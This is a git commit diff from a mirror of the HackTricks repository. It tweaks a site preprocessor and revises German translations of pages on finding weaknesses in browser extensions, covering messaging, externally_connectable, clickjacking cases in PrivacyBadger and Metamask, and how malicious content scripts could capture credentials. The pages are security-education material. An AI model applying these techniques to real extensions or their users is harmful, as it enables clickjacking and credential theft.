mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
Translator
parent
671f76e01a
commit
7718950159
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
||||
@ -30,7 +30,9 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
||||
@ -14,7 +14,7 @@ Die Layouts von Erweiterungen sehen am besten aus, wenn sie visualisiert werden,
|
||||
|
||||
### **Inhalts-Skripte**
|
||||
|
||||
Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen, außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
|
||||
Jedes Inhalts-Skript hat direkten Zugriff auf das DOM einer **einzelnen Webseite** und ist damit potenziell schädlichem Input ausgesetzt. Das Inhalts-Skript enthält jedoch keine Berechtigungen außer der Fähigkeit, Nachrichten an den Erweiterungskern zu senden.
|
||||
|
||||
### **Erweiterungskern**
|
||||
|
||||
@ -35,7 +35,7 @@ Darüber hinaus sind Inhalts-Skripte von ihren zugehörigen Webseiten getrennt,
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Eine Chrome-Erweiterung ist einfach ein ZIP-Ordner mit einer [.crx-Dateierweiterung](https://www.lifewire.com/crx-file-2620391). Der Kern der Erweiterung ist die **`manifest.json`**-Datei im Stammordner, die Layout, Berechtigungen und andere Konfigurationsoptionen angibt.
|
||||
Eine Chrome-Erweiterung ist einfach ein ZIP-Ordner mit einer [.crx-Dateiendung](https://www.lifewire.com/crx-file-2620391). Der Kern der Erweiterung ist die **`manifest.json`**-Datei im Stammordner, die Layout, Berechtigungen und andere Konfigurationsoptionen angibt.
|
||||
|
||||
Beispiel:
|
||||
```json
|
||||
@ -78,7 +78,7 @@ Inhalts-Skripte werden **geladen**, wann immer der Benutzer zu einer übereinsti
|
||||
```
|
||||
Um weitere URLs einzuschließen oder auszuschließen, ist es auch möglich, **`include_globs`** und **`exclude_globs`** zu verwenden.
|
||||
|
||||
Dies ist ein Beispielinhaltsskript, das einen Erklärungsbutton zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
|
||||
Dies ist ein Beispiel für ein Inhalts-Skript, das einen Erklär-Button zur Seite hinzufügt, wenn [die Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwendet wird, um den `message`-Wert aus dem Speicher der Erweiterung abzurufen.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -106,7 +106,7 @@ Sobald die Entwicklertools angezeigt werden, ist der **Quell-Tab** anzuklicken,
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass **Inhalts-Skripte nicht zwingend erforderlich sind**, da es auch möglich ist, Skripte **dynamisch** zu **injizieren** und sie **programmgesteuert** in Webseiten über **`tabs.executeScript`** zu injizieren. Dies bietet tatsächlich mehr **granulare Kontrollen**.
|
||||
|
||||
Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung [Host-Berechtigungen](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite haben, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anforderung** innerhalb des Manifests der Erweiterung oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) gesichert werden.
|
||||
Für die programmgesteuerte Injektion eines Inhalts-Skripts muss die Erweiterung [Host-Berechtigungen](https://developer.chrome.com/docs/extensions/reference/permissions) für die Seite haben, in die die Skripte injiziert werden sollen. Diese Berechtigungen können entweder durch **Anfordern** innerhalb des Manifests der Erweiterung oder vorübergehend über [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) gesichert werden.
|
||||
|
||||
#### Beispiel für eine activeTab-basierte Erweiterung
|
||||
```json:manifest.json
|
||||
@ -176,7 +176,7 @@ Das Feld `run_at` steuert **wann JavaScript-Dateien in die Webseite injiziert we
|
||||
Die möglichen Werte sind:
|
||||
|
||||
- **`document_idle`**: Wann immer möglich
|
||||
- **`document_start`**: Nach allen Dateien von `css`, aber bevor andere DOMs erstellt oder andere Skripte ausgeführt werden.
|
||||
- **`document_start`**: Nach allen Dateien von `css`, aber bevor andere DOM-Elemente erstellt oder andere Skripte ausgeführt werden.
|
||||
- **`document_end`**: Unmittelbar nachdem das DOM vollständig ist, aber bevor Unterressourcen wie Bilder und Frames geladen wurden.
|
||||
|
||||
#### Via `manifest.json`
|
||||
@ -212,7 +212,7 @@ Nachrichten, die von Inhalts-Skripten gesendet werden, werden von der **Hintergr
|
||||
|
||||
**Wichtige Punkte**:
|
||||
|
||||
- **Rolle der Hintergrundseite:** Dient als Nervenzentrum der Erweiterung und sorgt für Kommunikation und Koordination zwischen den verschiedenen Teilen der Erweiterung.
|
||||
- **Rolle der Hintergrundseite:** Dient als Nervenzentrum für die Erweiterung und gewährleistet Kommunikation und Koordination zwischen verschiedenen Teilen der Erweiterung.
|
||||
- **Persistenz:** Es ist eine ständig präsente Entität, die für den Benutzer unsichtbar, aber für die Funktionalität der Erweiterung unerlässlich ist.
|
||||
- **Automatische Generierung:** Wenn nicht ausdrücklich definiert, wird der Browser automatisch eine Hintergrundseite erstellen. Diese automatisch generierte Seite enthält alle Hintergrundskripte, die im Manifest der Erweiterung angegeben sind, und gewährleistet den nahtlosen Betrieb der Hintergrundaufgaben der Erweiterung.
|
||||
|
||||
@ -305,7 +305,7 @@ In öffentlichen Erweiterungen ist die **extension-id zugänglich**:
|
||||
Wenn jedoch der `manifest.json` Parameter **`use_dynamic_url`** verwendet wird, kann diese **id dynamisch** sein.
|
||||
|
||||
> [!TIP]
|
||||
> Beachten Sie, dass selbst wenn eine Seite hier erwähnt wird, sie möglicherweise **gegen ClickJacking geschützt** ist, dank der **Content Security Policy**. Daher müssen Sie dies (frame-ancestors Abschnitt) überprüfen, bevor Sie bestätigen, dass ein ClickJacking-Angriff möglich ist.
|
||||
> Beachten Sie, dass selbst wenn eine Seite hier erwähnt wird, sie möglicherweise **gegen ClickJacking geschützt** ist, dank der **Content Security Policy**. Daher müssen Sie dies auch überprüfen (frame-ancestors Abschnitt), bevor Sie bestätigen, dass ein ClickJacking-Angriff möglich ist.
|
||||
|
||||
Der Zugriff auf diese Seiten macht diese Seiten **potenziell anfällig für ClickJacking**:
|
||||
|
||||
@ -325,8 +325,8 @@ browext-clickjacking.md
|
||||
|
||||
Laut den [**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable) erklärt die `"externally_connectable"` Manifest-Eigenschaft, **welche Erweiterungen und Webseiten sich** über [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) und [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) mit Ihrer Erweiterung verbinden können.
|
||||
|
||||
- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen sich verbinden, aber keine Webseiten können sich verbinden**.
|
||||
- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** sich verbinden.
|
||||
- Wenn der **`externally_connectable`** Schlüssel **nicht** im Manifest Ihrer Erweiterung deklariert ist oder als **`"ids": ["*"]`** deklariert ist, **können alle Erweiterungen verbinden, aber keine Webseiten können verbinden**.
|
||||
- Wenn **spezifische IDs angegeben sind**, wie in `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **können nur diese Anwendungen** verbinden.
|
||||
- Wenn **Übereinstimmungen** angegeben sind, können diese Webanwendungen sich verbinden:
|
||||
```json
|
||||
"matches": [
|
||||
@ -342,9 +342,9 @@ Je **weniger Erweiterungen und URLs** hier angegeben sind, desto **kleiner wird
|
||||
>
|
||||
> Daher ist dies ein **sehr mächtiger Bypass**.
|
||||
>
|
||||
> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, selbst wenn sie nicht berechtigt ist, mit der anfälligen Erweiterung zu kommunizieren, könnte sie **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
> Darüber hinaus, wenn der Client eine bösartige Erweiterung installiert, könnte diese, selbst wenn sie nicht mit der anfälligen Erweiterung kommunizieren darf, **XSS-Daten in eine erlaubte Webseite injizieren** oder die **`WebRequest`** oder **`DeclarativeNetRequest`** APIs missbrauchen, um Anfragen auf einer gezielten Domain zu manipulieren und eine Anfrage für eine **JavaScript-Datei** zu ändern. (Beachten Sie, dass CSP auf der gezielten Seite diese Angriffe verhindern könnte). Diese Idee stammt [**aus diesem Bericht**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
|
||||
|
||||
## Kommunikationszusammenfassung
|
||||
## Kommunikationsübersicht
|
||||
|
||||
### Erweiterung <--> WebApp
|
||||
|
||||
@ -352,9 +352,9 @@ Um zwischen dem Content-Skript und der Webseite zu kommunizieren, werden normale
|
||||
|
||||
### Innerhalb der Erweiterung
|
||||
|
||||
Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet) und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
|
||||
Normalerweise wird die Funktion **`chrome.runtime.sendMessage`** verwendet, um eine Nachricht innerhalb der Erweiterung zu senden (normalerweise vom `background`-Skript verarbeitet), und um sie zu empfangen und zu verarbeiten, wird ein Listener deklariert, der **`chrome.runtime.onMessage.addListener`** aufruft.
|
||||
|
||||
Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung herzustellen. Anstatt einzelne Nachrichten zu senden, ist es möglich, sie zu **senden** und **zu empfangen** **Nachrichten** wie im folgenden Beispiel:
|
||||
Es ist auch möglich, **`chrome.runtime.connect()`** zu verwenden, um eine persistente Verbindung herzustellen. Anstatt einzelne Nachrichten zu senden, ist es möglich, sie zu **senden** und **zu empfangen**, wie im folgenden Beispiel:
|
||||
|
||||
<details>
|
||||
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## Web **↔︎** Content Script Kommunikation
|
||||
|
||||
Die Umgebungen, in denen **Content-Skripte** arbeiten und wo die Host-Seiten existieren, sind **getrennt** voneinander, was **Isolation** gewährleistet. Trotz dieser Isolation haben beide die Möglichkeit, mit dem **Document Object Model (DOM)** der Seite zu interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **Content-Skript** oder indirekt mit der Erweiterung über das Content-Skript kommunizieren kann, ist es erforderlich, das von beiden Parteien zugängliche **DOM** als Kommunikationskanal zu nutzen.
|
||||
Die Umgebungen, in denen **Content-Skripte** arbeiten und wo die Host-Seiten existieren, sind **getrennt** voneinander, was **Isolation** gewährleistet. Trotz dieser Isolation haben beide die Möglichkeit, mit dem **Document Object Model (DOM)** der Seite zu interagieren, einer gemeinsamen Ressource. Damit die Host-Seite mit dem **Content-Skript** oder indirekt mit der Erweiterung über das Content-Skript kommunizieren kann, ist es erforderlich, das **DOM** zu nutzen, das für beide Parteien als Kommunikationskanal zugänglich ist.
|
||||
|
||||
### Post-Nachrichten
|
||||
```javascript:content-script.js
|
||||
@ -482,11 +482,11 @@ Ein Beispiel für ein **DOM-basiertes XSS, um eine Browsererweiterung zu komprom
|
||||
browext-xss-example.md
|
||||
{{#endref}}
|
||||
|
||||
## Inhalts-Skript **↔︎** Hintergrund-Skript-Kommunikation
|
||||
## Kommunikation zwischen Inhalts-Skript **↔︎** Hintergrund-Skript
|
||||
|
||||
Ein Inhalts-Skript kann die Funktionen [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **oder** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) verwenden, um eine **einmalige JSON-serialisierbare** Nachricht zu senden.
|
||||
|
||||
Um die **Antwort** zu verarbeiten, verwenden Sie das zurückgegebene **Promise**. Obwohl Sie aus Gründen der Abwärtskompatibilität weiterhin einen **Callback** als letzten Parameter übergeben können.
|
||||
Um die **Antwort** zu verarbeiten, verwenden Sie das zurückgegebene **Promise**. Obwohl Sie aus Gründen der Abwärtskompatibilität weiterhin eine **Rückruffunktion** als letztes Argument übergeben können.
|
||||
|
||||
Das Senden einer Anfrage von einem **Inhalts-Skript** sieht so aus:
|
||||
```javascript
|
||||
@ -496,7 +496,7 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
|
||||
console.log(response)
|
||||
})()
|
||||
```
|
||||
Senden einer Anfrage von der **Erweiterung** (normalerweise einem **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
|
||||
Eine Anfrage von der **Erweiterung** senden (normalerweise ein **Hintergrundskript**). Beispiel, wie man eine Nachricht an das Inhaltskript im ausgewählten Tab sendet:
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
|
||||
;(async () => {
|
||||
@ -529,7 +529,7 @@ Beim Erstellen neuer Erweiterungen sollte die Präferenz auf Promises anstelle v
|
||||
|
||||
## Native Messaging
|
||||
|
||||
Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im System über stdin**. Die Anwendung muss ein JSON installieren, das dies in einem JSON wie folgt angibt:
|
||||
Browsererweiterungen ermöglichen auch die Kommunikation mit **Binaries im System über stdin**. Die Anwendung muss eine JSON installieren, die dies in einer JSON wie folgt angibt:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
@ -567,9 +567,9 @@ Und darin wird ein Beispiel für **den Übergang von jeder Seite zu RCE unter Au
|
||||
|
||||
## Sensible Informationen im Speicher/Code/Clipboard
|
||||
|
||||
Wenn eine Browsererweiterung **sensible Informationen im Speicher speichert**, könnten diese **ausgelesen** werden (insbesondere auf Windows-Maschinen) und nach diesen Informationen **gesucht** werden.
|
||||
Wenn eine Browsererweiterung **sensible Informationen im Speicher speichert**, können diese **ausgelesen** (insbesondere auf Windows-Maschinen) und nach diesen Informationen **gesucht** werden.
|
||||
|
||||
Daher sollte der Speicher der Browsererweiterung **nicht als sicher betrachtet werden** und **sensible Informationen** wie Anmeldeinformationen oder mnemonische Phrasen **sollten nicht gespeichert** werden.
|
||||
Daher sollte der Speicher der Browsererweiterung **nicht als sicher betrachtet werden** und **sensible Informationen** wie Anmeldeinformationen oder mnemonische Phrasen **sollten nicht gespeichert werden**.
|
||||
|
||||
Natürlich sollten **keine sensiblen Informationen im Code platziert werden**, da sie **öffentlich** sein werden.
|
||||
|
||||
@ -579,11 +579,11 @@ Darüber hinaus sollten hochsensible Informationen wie mnemonische Schlüssel od
|
||||
|
||||
## Laden einer Erweiterung im Browser
|
||||
|
||||
1. **Laden Sie** die Browsererweiterung herunter & entpacken Sie sie.
|
||||
1. **Laden Sie** die Browsererweiterung herunter und entpacken Sie sie.
|
||||
2. Gehen Sie zu **`chrome://extensions/`** und **aktivieren** Sie den `Entwicklermodus`.
|
||||
3. Klicken Sie auf die Schaltfläche **`Entpackte Erweiterung laden`**.
|
||||
|
||||
In **Firefox** gehen Sie zu **`about:debugging#/runtime/this-firefox`** und klicken auf die Schaltfläche **`Temporäres Add-on laden`**.
|
||||
In **Firefox** gehen Sie zu **`about:debugging#/runtime/this-firefox`** und klicken auf die Schaltfläche **`Temporäre Erweiterung laden`**.
|
||||
|
||||
## Den Quellcode aus dem Store abrufen
|
||||
|
||||
@ -631,7 +631,7 @@ Gehen Sie zum Chrome Web Store und laden Sie die Erweiterung herunter. Die Datei
|
||||
|
||||
## Chrome-Erweiterungsmanifest-Datensatz
|
||||
|
||||
Um anfällige Browsererweiterungen zu identifizieren, können Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaging` zu suchen:
|
||||
Um anfällige Browsererweiterungen zu identifizieren, können Sie das [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) verwenden und deren Manifestdateien auf potenziell anfällige Hinweise überprüfen. Zum Beispiel, um nach Erweiterungen mit mehr als 25000 Benutzern, `content_scripts` und der Berechtigung `nativeMessaing` zu suchen:
|
||||
```bash
|
||||
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
|
||||
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
|
||||
@ -670,16 +670,16 @@ Obwohl Browsererweiterungen eine **begrenzte Angriffsfläche** haben, können ei
|
||||
- **Potenzielle Clickjacking-Analyse**: Erkennung von HTML-Seiten der Erweiterung mit der [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Direktive. Diese sind potenziell anfällig für Clickjacking, abhängig vom Zweck der Seiten.
|
||||
- **Berechtigungswarnungen Viewer**: zeigt eine Liste aller Chrome-Berechtigungsaufforderungswarnungen, die angezeigt werden, wenn ein Benutzer versucht, die Erweiterung zu installieren.
|
||||
- **Gefährliche Funktion(en)**: zeigt den Standort gefährlicher Funktionen, die potenziell von einem Angreifer ausgenutzt werden könnten (z. B. Funktionen wie innerHTML, chrome.tabs.executeScript).
|
||||
- **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben oder externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und nach potenziellen Punkten zu suchen, um bösartig gestaltete Daten an die Erweiterung zu senden.
|
||||
- Sowohl die Scanner für gefährliche Funktion(en) als auch Einstiegspunkt(e) haben Folgendes für ihre generierten Warnungen:
|
||||
- **Einstiegspunkt(e)**: zeigt, wo die Erweiterung Benutzereingaben oder externe Eingaben entgegennimmt. Dies ist nützlich, um die Angriffsfläche einer Erweiterung zu verstehen und potenzielle Punkte zu finden, um bösartig gestaltete Daten an die Erweiterung zu senden.
|
||||
- Sowohl die Scanner für gefährliche Funktionen als auch die Einstiegspunkte haben Folgendes für ihre generierten Warnungen:
|
||||
- Relevanter Codeausschnitt und Zeile, die die Warnung verursacht hat.
|
||||
- Beschreibung des Problems.
|
||||
- Eine „Datei anzeigen“-Schaltfläche, um die vollständige Quelldatei mit dem Code anzuzeigen.
|
||||
- Der Pfad der alarmierten Datei.
|
||||
- Die vollständige Chrome-Erweiterungs-URI der alarmierten Datei.
|
||||
- Die vollständige URI der Chrome-Erweiterung der alarmierten Datei.
|
||||
- Der Typ der Datei, z. B. ein Hintergrundseiten-Skript, Inhalts-Skript, Browser-Aktion usw.
|
||||
- Wenn die anfällige Zeile in einer JavaScript-Datei ist, die Pfade aller Seiten, auf denen sie enthalten ist, sowie den Typ dieser Seiten und den [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) Status.
|
||||
- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. beleuchten.
|
||||
- **Content Security Policy (CSP) Analyzer und Umgehungsprüfer**: Dies wird Schwächen in der CSP Ihrer Erweiterung aufzeigen und auch potenzielle Möglichkeiten zur Umgehung Ihrer CSP aufgrund von aufgelisteten CDNs usw. aufzeigen.
|
||||
- **Bekannte anfällige Bibliotheken**: Dies verwendet [Retire.js](https://retirejs.github.io/retire.js/), um die Verwendung bekannter anfälliger JavaScript-Bibliotheken zu überprüfen.
|
||||
- Erweiterung und formatierte Versionen herunterladen.
|
||||
- Die ursprüngliche Erweiterung herunterladen.
|
||||
|
||||
@ -11,21 +11,21 @@ Wenn Sie nicht wissen, was ClickJacking ist, schauen Sie sich an:
|
||||
../clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web_accessible_resources) dazu sagt:
|
||||
Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web_accessible_resources) darüber sagt:
|
||||
|
||||
> Diese Ressourcen wären dann über die URL **`chrome-extension://[PACKAGE ID]/[PATH]`** in einer Webseite verfügbar, die mit der **`extension.getURL method`** generiert werden kann. Erlaubte Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
||||
|
||||
Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie funktionieren auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben,:
|
||||
Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie funktionieren auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben, zu:
|
||||
|
||||
- Den Zustand der Erweiterung zu ändern
|
||||
- Zusätzliche Ressourcen zu laden
|
||||
- In gewissem Maße mit dem Browser zu interagieren
|
||||
|
||||
Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unverdächtige Benutzer, die diese Seite besuchen, könnten versehentlich diese eingebettete Ressource aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Konsequenzen führen.
|
||||
Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource möglicherweise in eine externe Webseite einbetten. Unverdächtige Benutzer, die diese Seite besuchen, könnten unbeabsichtigt diese eingebettete Ressource aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Konsequenzen führen.
|
||||
|
||||
## PrivacyBadger Beispiel
|
||||
|
||||
In der Erweiterung PrivacyBadger wurde eine Sicherheitsanfälligkeit identifiziert, die sich auf das Verzeichnis `skin/` bezieht, das als `web_accessible_resources` in folgender Weise deklariert wurde (Überprüfen Sie den ursprünglichen [Blogbeitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
||||
In der Erweiterung PrivacyBadger wurde eine Sicherheitsanfälligkeit identifiziert, die sich auf das Verzeichnis `skin/` bezieht, das als `web_accessible_resources` auf folgende Weise deklariert wurde (Überprüfen Sie den ursprünglichen [Blogbeitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
||||
```json
|
||||
"web_accessible_resources": [
|
||||
"skin/*",
|
||||
@ -79,7 +79,7 @@ Ein [**Blogbeitrag über ClickJacking in Metamask ist hier zu finden**](https://
|
||||
|
||||
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Ein weiterer ClickJacking, der behoben wurde** in der Metamask-Erweiterung, war, dass Benutzer **Klicken, um auf die Whitelist zu setzen** konnten, wenn eine Seite verdächtig war, Phishing zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales zeigte, um das Opfer dazu zu bringen, es ohne Notice auf die Whitelist zu setzen, und dann zurück zur Phishing-Seite zu gehen, die dann auf die Whitelist gesetzt wird.
|
||||
**Ein weiteres ClickJacking, das in der Metamask-Erweiterung behoben wurde**, war, dass Benutzer **Klicken, um auf die Whitelist zu setzen** konnten, wenn eine Seite verdächtig war, Phishing zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales zeigte, um das Opfer dazu zu bringen, es ohne Notice auf die Whitelist zu setzen, und dann zurück zur Phishing-Seite zu gehen, die dann auf die Whitelist gesetzt wird.
|
||||
|
||||
## Steam Inventory Helper Beispiel
|
||||
|
||||
|
||||
@ -10,7 +10,7 @@ Berechtigungen werden in der **`manifest.json`**-Datei der Erweiterung mit der *
|
||||
|
||||
Das vorherige Manifest erklärt, dass die Erweiterung die `storage`-Berechtigung benötigt. Das bedeutet, dass sie die [Storage-API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) verwenden kann, um ihre Daten dauerhaft zu speichern. Im Gegensatz zu Cookies oder `localStorage`-APIs, die den Benutzern ein gewisses Maß an Kontrolle geben, **kann der Erweiterungsspeicher normalerweise nur durch Deinstallation der Erweiterung gelöscht werden**.
|
||||
|
||||
Eine Erweiterung wird die in ihrer **`manifest.json`**-Datei angegebenen Berechtigungen anfordern und nach der Installation der Erweiterung können Sie **immer ihre Berechtigungen in Ihrem Browser überprüfen**, wie in diesem Bild gezeigt:
|
||||
Eine Erweiterung wird die in ihrer **`manifest.json`**-Datei angegebenen Berechtigungen anfordern, und nach der Installation der Erweiterung können Sie **immer ihre Berechtigungen in Ihrem Browser überprüfen**, wie in diesem Bild gezeigt:
|
||||
|
||||
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -52,7 +52,7 @@ Darüber hinaus schaltet **`host_permissions`** auch die "erweiterte" [**tabs AP
|
||||
|
||||
Inhalts-Skripte sind nicht unbedingt statisch im Erweiterungsmanifest geschrieben. Bei ausreichenden **`host_permissions`** können **Erweiterungen sie auch dynamisch laden, indem sie** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **oder** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript) **aufrufen.**
|
||||
|
||||
Beide APIs ermöglichen das Ausführen nicht nur von Dateien, die in den Erweiterungen als Inhalts-Skripte enthalten sind, sondern auch von **beliebigem Code**. Die erste erlaubt das Übergeben von JavaScript-Code als String, während die letztere eine JavaScript-Funktion erwartet, die weniger anfällig für Injektionsanfälligkeiten ist. Dennoch werden beide APIs Chaos anrichten, wenn sie missbraucht werden.
|
||||
Beide APIs ermöglichen das Ausführen nicht nur von in den Erweiterungen enthaltenen Dateien als Inhalts-Skripte, sondern auch von **beliebigem Code**. Die erste erlaubt das Übergeben von JavaScript-Code als String, während die zweite eine JavaScript-Funktion erwartet, die weniger anfällig für Injektionsanfälligkeiten ist. Dennoch können beide APIs Chaos anrichten, wenn sie missbraucht werden.
|
||||
|
||||
> [!CAUTION]
|
||||
> Neben den oben genannten Möglichkeiten könnten Inhalts-Skripte beispielsweise **Anmeldeinformationen abfangen**, während diese in Webseiten eingegeben werden. Eine weitere klassische Möglichkeit, sie zu missbrauchen, besteht darin, **Werbung** auf jeder Webseite einzufügen. Das Hinzufügen von **Betrugsnachrichten**, um die Glaubwürdigkeit von Nachrichtenwebseiten zu missbrauchen, ist ebenfalls möglich. Schließlich könnten sie **Bank-Webseiten manipulieren**, um Geldtransfers umzuleiten.
|
||||
@ -61,7 +61,7 @@ Beide APIs ermöglichen das Ausführen nicht nur von Dateien, die in den Erweite
|
||||
|
||||
Einige Erweiterungsberechtigungen **müssen nicht ausdrücklich deklariert werden**. Ein Beispiel ist die [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs): Ihre grundlegende Funktionalität ist ohne jegliche Berechtigungen zugänglich. Jede Erweiterung kann benachrichtigt werden, wenn Sie Tabs öffnen und schließen, sie wird jedoch nicht wissen, mit welcher Webseite diese Tabs übereinstimmen.
